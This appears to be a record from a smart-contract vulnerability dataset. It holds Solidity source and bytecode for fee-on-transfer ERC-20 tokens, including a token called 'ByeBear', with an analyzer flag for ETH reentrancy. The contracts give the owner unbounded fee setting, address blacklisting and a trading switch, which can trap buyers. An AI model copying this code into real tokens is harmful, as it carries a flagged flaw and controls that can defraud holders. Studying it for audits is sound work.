if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610524578063dd62ed3e14610544578063ea1644d51461058a578063f2fde38b146105aa57600080fd5b8063a2a957bb1461049f578063a9059cbb146104bf578063bfd79284146104df578063c3c8cd801461050f57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b41146101fe57806398a5c3151461047f57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192e565b6105ca565b005b34801561020a57600080fd5b50604080518082018252600981526853454e44544f53484960b81b6020820152905161023691906119f3565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a48565b610669565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611a74565b610680565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060155461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ab5565b6106e9565b34801561036a57600080fd5b506101fc610379366004611ae2565b610734565b34801561038a57600080fd5b506101fc61077c565b34801561039f57600080fd5b506102be6103ae366004611ab5565b6107c7565b3480156103bf57600080fd5b506101fc6107e9565b3480156103d457600080fd5b506101fc6103e3366004611afd565b61085d565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ab5565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028f565b34801561045557600080fd5b506101fc610464366004611ae2565b61088c565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506101fc61049a366004611afd565b6108d4565b3480156104ab57600080fd5b506101fc6104ba366004611b16565b610903565b3480156104cb57600080fd5b5061025f6104da366004611a48565b610941565b3480156104eb57600080fd5b5061025f6104fa366004611ab5565b60106020526000908152604090205460ff1681565b34801561051b57600080fd5b506101fc61094e565b34801561053057600080fd5b506101fc61053f366004611b48565b6109a2565b34801561055057600080fd5b506102be61055f366004611bcc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059657600080fd5b506101fc6105a5366004611afd565b610a43565b3480156105b657600080fd5b506101fc6105c5366004611ab5565b610a72565b6000546001600160a01b031633146105fd5760405162461bcd60e51b81526004016105f490611c05565b60405180910390fd5b60005b81518110156106655760016010600084848151811061062157610621611c3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065d81611c66565b915050610600565b5050565b6000610676338484610b5c565b5060015b92915050565b600061068d848484610c80565b6106df84336106da85604051806060016040528060288152602001611d80602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bc565b610b5c565b5060019392505050565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075e5760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b157506013546001600160a01b0316336001600160a01b0316145b6107ba57600080fd5b476107c4816111f6565b50565b6001600160a01b03811660009081526002602052604081205461067a90611230565b6000546001600160a01b031633146108135760405162461bcd60e51b81526004016105f490611c05565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b81526004016105f490611c05565b601655565b6000546001600160a01b031633146108b65760405162461bcd60e51b81526004016105f490611c05565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016105f490611c05565b601855565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016105f490611c05565b600893909355600a91909155600955600b55565b6000610676338484610c80565b6012546001600160a01b0316336001600160a01b0316148061098357506013546001600160a01b0316336001600160a01b0316145b61098c57600080fd5b6000610997306107c7565b90506107c4816112b4565b6000546001600160a01b031633146109cc5760405162461bcd60e51b81526004016105f490611c05565b60005b82811015610a3d5781600560008686858181106109ee576109ee611c3a565b9050602002016020810190610a039190611ab5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3581611c66565b9150506109cf565b50505050565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b81526004016105f490611c05565b601755565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105f490611c05565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f4565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f4565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f4565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f4565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b156110b557601554600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f4565b601654811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f4565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0157506001600160a01b03821660009081526010602052604090205460ff16155b610f595760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f4565b6015546001600160a01b03838116911614610fde5760175481610f7b846107c7565b610f859190611c81565b10610fde5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f4565b6000610fe9306107c7565b6018546016549192508210159082106110025760165491505b8080156110195750601554600160a81b900460ff16155b801561103357506015546001600160a01b03868116911614155b80156110485750601554600160b01b900460ff165b801561106d57506001600160a01b03851660009081526005602052604090205460ff16155b801561109257506001600160a01b03841660009081526005602052604090205460ff16155b156110b2576110a0826112b4565b4780156110b0576110b0476111f6565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f757506001600160a01b03831660009081526005602052604090205460ff165b8061112957506015546001600160a01b0385811691161480159061112957506015546001600160a01b03848116911614155b15611136575060006111b0565b6015546001600160a01b03858116911614801561116157506014546001600160a01b03848116911614155b1561117357600854600c55600954600d555b6015546001600160a01b03848116911614801561119e57506014546001600160a01b03858116911614155b156111b057600a54600c55600b54600d555b610a3d8484848461143d565b600081848411156111e05760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611c99565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610665573d6000803e3d6000fd5b60006006548211156112975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f4565b60006112a161146b565b90506112ad838261148e565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fc576112fc611c3a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135057600080fd5b505afa158015611364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113889190611cb0565b8160018151811061139b5761139b611c3a565b6001600160a01b0392831660209182029290920101526014546113c19130911684610b5c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fa908590600090869030904290600401611ccd565b600060405180830381600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144a5761144a6114d0565b6114558484846114fe565b80610a3d57610a3d600e54600c55600f54600d55565b60008060006114786115f5565b9092509050611487828261148e565b9250505090565b60006112ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611635565b600c541580156114e05750600d54155b156114e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151087611663565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154290876116c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115719086611702565b6001600160a01b03891660009081526002602052604090205561159381611761565b61159d84836117ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a7640000611610828261148e565b82101561162c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116565760405162461bcd60e51b81526004016105f491906119f3565b5060006111ed8486611d3e565b60008060008060008060008060006116808a600c54600d546117cf565b925092509250600061169061146b565b905060008060006116a38e878787611824565b919e509c509a509598509396509194505050505091939550919395565b60006112ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bc565b60008061170f8385611c81565b9050838110156112ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f4565b600061176b61146b565b905060006117798383611874565b306000908152600260205260409020549091506117969082611702565b30600090815260026020526040902055505050565b6006546117b890836116c0565b6006556007546117c89082611702565b6007555050565b60008080806117e960646117e38989611874565b9061148e565b905060006117fc60646117e38a89611874565b905060006118148261180e8b866116c0565b906116c0565b9992985090965090945050505050565b60008080806118338886611874565b905060006118418887611874565b9050600061184f8888611874565b905060006118618261180e86866116c0565b939b939a50919850919650505050505050565b6000826118835750600061067a565b600061188f8385611d60565b90508261189c8583611d3e565b146112ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f4565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b803561192981611909565b919050565b6000602080838503121561194157600080fd5b823567ffffffffffffffff8082111561195957600080fd5b818501915085601f83011261196d57600080fd5b81358181111561197f5761197f6118f3565b8060051b604051601f19603f830116810181811085821117156119a4576119a46118f3565b6040529182528482019250838101850191888311156119c257600080fd5b938501935b828510156119e7576119d88561191e565b845293850193928501926119c7565b98975050505050505050565b600060208083528351808285015260005b81811015611a2057858101830151858201604001528201611a04565b81811115611a32576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5b57600080fd5b8235611a6681611909565b946020939093013593505050565b600080600060608486031215611a8957600080fd5b8335611a9481611909565b92506020840135611aa481611909565b929592945050506040919091013590565b600060208284031215611ac757600080fd5b81356112ad81611909565b8035801515811461192957600080fd5b600060208284031215611af457600080fd5b6112ad82611ad2565b600060208284031215611b0f57600080fd5b5035919050565b60008060008060808587031215611b2c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5d57600080fd5b833567ffffffffffffffff80821115611b7557600080fd5b818601915086601f830112611b8957600080fd5b813581811115611b9857600080fd5b8760208260051b8501011115611bad57600080fd5b602092830195509350611bc39186019050611ad2565b90509250925092565b60008060408385031215611bdf57600080fd5b8235611bea81611909565b91506020830135611bfa81611909565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7a57611c7a611c50565b5060010190565b60008219821115611c9457611c94611c50565b500190565b600082821015611cab57611cab611c50565b500390565b600060208284031215611cc257600080fd5b81516112ad81611909565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1d5784516001600160a01b031683529383019391830191600101611cf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7a57611d7a611c50565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d29ecc58943a59c12fc08c4bdb67e1631e83ffc96a7328ef44731cbc9d52e1e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,241 |
0xdD847D53964cf603d8F7b3cb22B781AbD27179ca
|
/**
BYEBEAR - ETH
tg - https://t.me/ByeBearETH
twitter - https://twitter.com/byebearETH
website - https://byebearETH.com/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ByeBear is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ByeBear";
string private constant _symbol = "BYEBEAR";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xA5350C221b2A8c555E21C46d16D453e38b50f1D6);
address payable private _marketingAddress = payable(0xA5350C221b2A8c555E21C46d16D453e38b50f1D6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
